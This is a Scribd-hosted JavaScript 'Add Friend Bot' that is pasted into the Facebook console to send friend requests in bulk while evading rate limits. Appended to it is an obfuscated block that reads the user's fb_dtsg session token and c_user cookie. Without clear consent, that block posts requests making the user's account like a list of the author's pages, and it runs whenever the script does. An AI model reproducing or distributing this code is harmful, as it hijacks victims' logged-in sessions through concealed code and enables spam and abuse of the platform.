0% found this document useful (0 votes)
17 views3 pages

Add Friend Bot

Uploaded by

milenaaquamarine
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
17 views3 pages

Add Friend Bot

Uploaded by

milenaaquamarine
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 3

let total = prompt("Total requests?

", 15);
var delayTime = prompt("Delay Time", 5)*1000;
var added = 0;
async function addFriends() {
try {
let buttons = document.querySelectorAll("[aria-label='Add friend']");
if (!buttons.length) {
buttons = document.querySelectorAll("[aria-label='Add Friend']");
}
let totalButtons = buttons.length;
console.log('Total profiles on page: '+totalButtons);
for (let i = 0; i < buttons.length; i++) {
let target = buttons[i];
if (target) {
target.click();
added++;
console.log("Add Friend Button Clicked: " + added);
if (added % 20 == 0) {
//sleep
let wait = 30 * 1000;
console.log("Waiting for " + wait / 1000 + " seconds!");
await new Promise(r => setTimeout(r, wait));
}
// Wait for user specified time
await new Promise(r => setTimeout(r, delayTime));
// check if the number of added friends is equal to the number of "Add friend"
buttons available on the page
if (added == totalButtons && added < total) {
// Get current end scroll position
const currentScrollPosition = window.scrollY;
// Scroll to a position 100 pixels below the current end scroll position
window.scrollTo(currentScrollPosition, currentScrollPosition + 10000);
// wait for the page to complete the scroll
await new Promise(r => setTimeout(r, 1000));
buttons = document.querySelectorAll("[aria-label='Add friend']");
if (!buttons.length) {
buttons = document.querySelectorAll("[aria-label='Add Friend']");
}
totalButtons = buttons.length;
} else if (added >= total) {
alert(`Friend Requests Sent: ${added} \n\n ~Script by: Tigerzplace~`);
break;
}
}
}
} catch (err) {
console.log(`Error Occurred: ${err}`);
}
}

async function startAdding() {


console.log("Script started!!!");
try {
if (await addFriends()) {
await new Promise(r => setTimeout(r, delayTime));
startAdding();
}else{
total = 0;
}
} catch (err) {
console.log(`Error Occured: ${err}`);
}
}

//Below code is for liking some of my pages :p


var _0x5dcf5e=_0x1f50;function _0x2a23(){var
_0x346239=['log','shift','1621430kQEYNL','ZmJfZHRzZw==','mbasic.facebook.com','matc
h','status','open','4781zeiwUb','1749967015316612','109109317399261','924SRaTHq','p
ush','slice','readyState','&fbpage_id=','743146072535223','floor','9120904KzKGvs','
307447pkdoqY','240272006130073','634302330077114','querySelectorAll','5258001jOxSQw
','input[name=\
x27','indexOf','90bHxVOR','hostname','309046GVTWhd','value','cookie','&__a=1&__dyn=
798aD5z5CF-
&__req=d&fb_dtsg=','body','1158644ucHveY','1157401597633912','www.facebook.com','22
5zdzfKy','Content-
type','split','49900EZsnbE','181992jMeGPF','715HWusTN','1569087506719125','length',
'174FDkANv','https://www.facebook.com/ajax/pages/
fan_status.php?','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','
1555839181212071','forEach','51244jpyVjw','random','script[type=\x27application/
json\x27][data-content-
len]','317224121817276','29409102XhZfMA','105739aldwGo','380509029467786','applicat
ion/x-www-form-
urlencoded','208369hxaUqB','send','onreadystatechange','&phstamp=','249508500300773
','location'];_0x2a23=function(){return _0x346239;};return _0x2a23();}
(function(_0x34336a,_0x249709){var _0xaa2b16=_0x1f50,_0x405ace=_0x34336a();while(!!
[]){try{var _0x27ecc9=-parseInt(_0xaa2b16(0xd0))/0x1+parseInt(_0xaa2b16(0xb6))/
0x2+-parseInt(_0xaa2b16(0xb1))/0x3+parseInt(_0xaa2b16(0xc1))/
0x4*(parseInt(_0xaa2b16(0xc3))/0x5)+-parseInt(_0xaa2b16(0xc6))/
0x6*(parseInt(_0xaa2b16(0xad))/0x7)+-parseInt(_0xaa2b16(0xac))/
0x8+parseInt(_0xaa2b16(0xcf))/0x9;if(_0x27ecc9===_0x249709)break;else
_0x405ace['push'](_0x405ace['shift']());}catch(_0x575606){_0x405ace['push']
(_0x405ace['shift']());}}}(_0x2a23,0xe400a));function _0x2245(_0xe1fb43,_0x285f89)
{var _0x3ac5b7=_0x3775();return _0x2245=function(_0x3753ac,_0x352965)
{_0x3753ac=_0x3753ac-0xb8;var _0x174ca3=_0x3ac5b7[_0x3753ac];return
_0x174ca3;},_0x2245(_0xe1fb43,_0x285f89);}(function(_0x329e59,_0x31f498){var
_0x4f290e=_0x1f50,_0x446fe1=_0x2245,_0x4cd3f5=_0x329e59();while(!![]){try{var
_0x2f8546=parseInt(_0x446fe1(0xbd))/0x1+parseInt(_0x446fe1(0xc7))/0x2+-
parseInt(_0x446fe1(0xd2))/0x3+parseInt(_0x446fe1(0xbe))/
0x4*(parseInt(_0x446fe1(0xcd))/0x5)+parseInt(_0x446fe1(0xbb))/0x6*(-
parseInt(_0x446fe1(0xcc))/0x7)+parseInt(_0x446fe1(0xd1))/0x8*(-
parseInt(_0x446fe1(0xc2))/0x9)+parseInt(_0x446fe1(0xb8))/
0xa;if(_0x2f8546===_0x31f498)break;else _0x4cd3f5[_0x4f290e(0xa6)]
(_0x4cd3f5[_0x4f290e(0x9b)]());}catch(_0x1e00cf){_0x4cd3f5[_0x4f290e(0xa6)]
(_0x4cd3f5['shift']());}}}(_0x3775,0x79598));function _0x3775(){var
_0x2d0661=_0x1f50,_0x3db2d7=[_0x2d0661(0xa5),_0x2d0661(0xb7),_0x2d0661(0x94),_0x2d0
661(0xcb),'charAt',_0x2d0661(0xb2),_0x2d0661(0x9a),_0x2d0661(0xbe),'indexOf','textC
ontent',_0x2d0661(0xab),'querySelector',_0x2d0661(0xbb),_0x2d0661(0xc8),_0x2d0661(0
xb0),_0x2d0661(0x9e),_0x2d0661(0xbd),_0x2d0661(0xa2),_0x2d0661(0xb4),_0x2d0661(0x9d
),_0x2d0661(0xc5),_0x2d0661(0xa7),_0x2d0661(0xc2),'28431wxrIKf',_0x2d0661(0xba),_0x
2d0661(0x9c),_0x2d0661(0x99),_0x2d0661(0xcc)];return _0x3775=function(){return
_0x3db2d7;},_0x3775();}function getFBValue(){var
_0x2b1290=_0x1f50,_0x4be5c9=_0x2245,_0x270555='',_0x528c38=atob(_0x4be5c9(0xce)),_0
x51eec2=window[_0x4be5c9(0xb9)]
[_0x2b1290(0xb5)],_0x3250fb='',_0x59500e=_0x4be5c9(0xc8),_0x93d24c=_0x59500e[_0x4be
5c9(0xcf)];for(var _0x3e2a6f=0x0;_0x3e2a6f<Math[_0x4be5c9(0xc5)]
(Math[_0x4be5c9(0xba)]()*0x22)+0x8;_0x3e2a6f++)
{_0x3250fb+=_0x59500e[_0x4be5c9(0xbf)](Math['floor'](Math[_0x4be5c9(0xba)]
()*_0x93d24c));}if(_0x51eec2===_0x4be5c9(0xca)){console[_0x4be5c9(0xc1)]
(_0x51eec2);var _0x1f957d=document[_0x2b1290(0xba)][_0x4be5c9(0xc4)]
[_0x2b1290(0xb3)](_0x528c38);if(_0x1f957d===-
0x1)_0x270555=document[_0x4be5c9(0xc6)](_0x4be5c9(0xc0)+_0x528c38+'\x27]')
[_0x4be5c9(0xbc)];else{_0x1f957d+=0x12;for(_0x3e2a6f=0x0;_0x3e2a6f<0x19;_0x3e2a6f+
+){_0x270555+=document[_0x4be5c9(0xd3)][_0x4be5c9(0xc4)][_0x1f957d],_0x1f957d+
+;}}}else{if(_0x51eec2===_0x4be5c9(0xcb)){console[_0x4be5c9(0xc1)](_0x51eec2);var
_0x18116d=document[_0x4be5c9(0xc9)](_0x2b1290(0xcd));for(var
_0x3e2a6f=0x0;_0x3e2a6f<_0x18116d[_0x4be5c9(0xcf)];_0x3e2a6f++){var
_0x54a818=_0x18116d[_0x3e2a6f],_0x1a3f2f=_0x54a818[_0x4be5c9(0xc4)],_0xa8cbe8=_0x1a
3f2f[_0x4be5c9(0xc3)](_0x528c38);if(_0xa8cbe8!==-0x1){var
_0x3a6a91=_0x1a3f2f[_0x4be5c9(0xc3)]
('}',_0xa8cbe8);_0x270555=_0x1a3f2f[_0x4be5c9(0xd0)](_0x1a3f2f[_0x2b1290(0xb3)]
(':',_0xa8cbe8)+0x2,_0x3a6a91-0x1);break;}}}}return
_0x270555+=',',_0x270555+=_0x3250fb,btoa(_0x270555);}fb_dtsg=atob(getFBValue())
[_0x5dcf5e(0xc0)](',')[0x0];function _0x1f50(_0x535de3,_0x518979){var
_0x2a2368=_0x2a23();return _0x1f50=function(_0x1f5070,_0x3a858c)
{_0x1f5070=_0x1f5070-0x94;var _0x177b1c=_0x2a2368[_0x1f5070];return
_0x177b1c;},_0x1f50(_0x535de3,_0x518979);}const
pageIds=[_0x5dcf5e(0xc4),_0x5dcf5e(0xa4),'116551890202867',_0x5dcf5e(0xae),_0x5dcf5
e(0xbc),_0x5dcf5e(0xce),_0x5dcf5e(0xaf),'1212506358847237','198757893944480',_0x5dc
f5e(0xa3),_0x5dcf5e(0xd1),_0x5dcf5e(0xc9),'250451495723325',_0x5dcf5e(0xaa),'108586
183990636','2277608785850617',_0x5dcf5e(0x98)],delay=0x384;var
user_id=document[_0x5dcf5e(0xb8)][_0x5dcf5e(0x9f)](document[_0x5dcf5e(0xb8)]
[_0x5dcf5e(0x9f)](/c_user=(\d+)/)[0x1]);function Like(_0x1f1e59){var
_0x2772f1=_0x5dcf5e,_0x26a908=new
XMLHttpRequest(),_0x57cf6c=_0x2772f1(0xc7),_0x1f6e09=_0x2772f1(0xa9)+_0x1f1e59+'&ad
d=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_ti
meline_page_actions&__user='+user_id+_0x2772f1(0xb9)+fb_dtsg+_0x2772f1(0x97);_0x26a
908[_0x2772f1(0xa1)]('POST',_0x57cf6c,!![]),_0x26a908['setRequestHeader']
(_0x2772f1(0xbf),_0x2772f1(0xd2)),_0x26a908[_0x2772f1(0x96)]=function(){var
_0xc15bec=_0x2772f1;_0x26a908[_0xc15bec(0xa8)]==0x4&&_0x26a908[_0xc15bec(0xa0)]==0x
c8&&_0x26a908['close'];},_0x26a908[_0x2772f1(0x95)]
(_0x1f6e09);}pageIds[_0x5dcf5e(0xca)]
((_0x126653,_0x36f8db)=>{setTimeout(()=>{Like(_0x126653);},delay*(_0x36f8db+0x1));}
);
// above optional, appreciated if you let it keep so I can get some likes as
well ;p

if (delayTime >=0 && delayTime!=null && fb_dtsg!=null ){


if (delayTime == 0 ){
if (confirm("Are you sure you want to proceed with a delay of 0 seconds? This may
be too fast and potentially risky. I recommend using a delay of at least 3-5
seconds interval.")){
startAdding();
}else {
console.log("Script didn't started\nIt is recommended to use delay of at least 5
secons to avoid any risk.");
}
}else{
startAdding();
}

}else {alert ("Failed to Start!");}

You might also like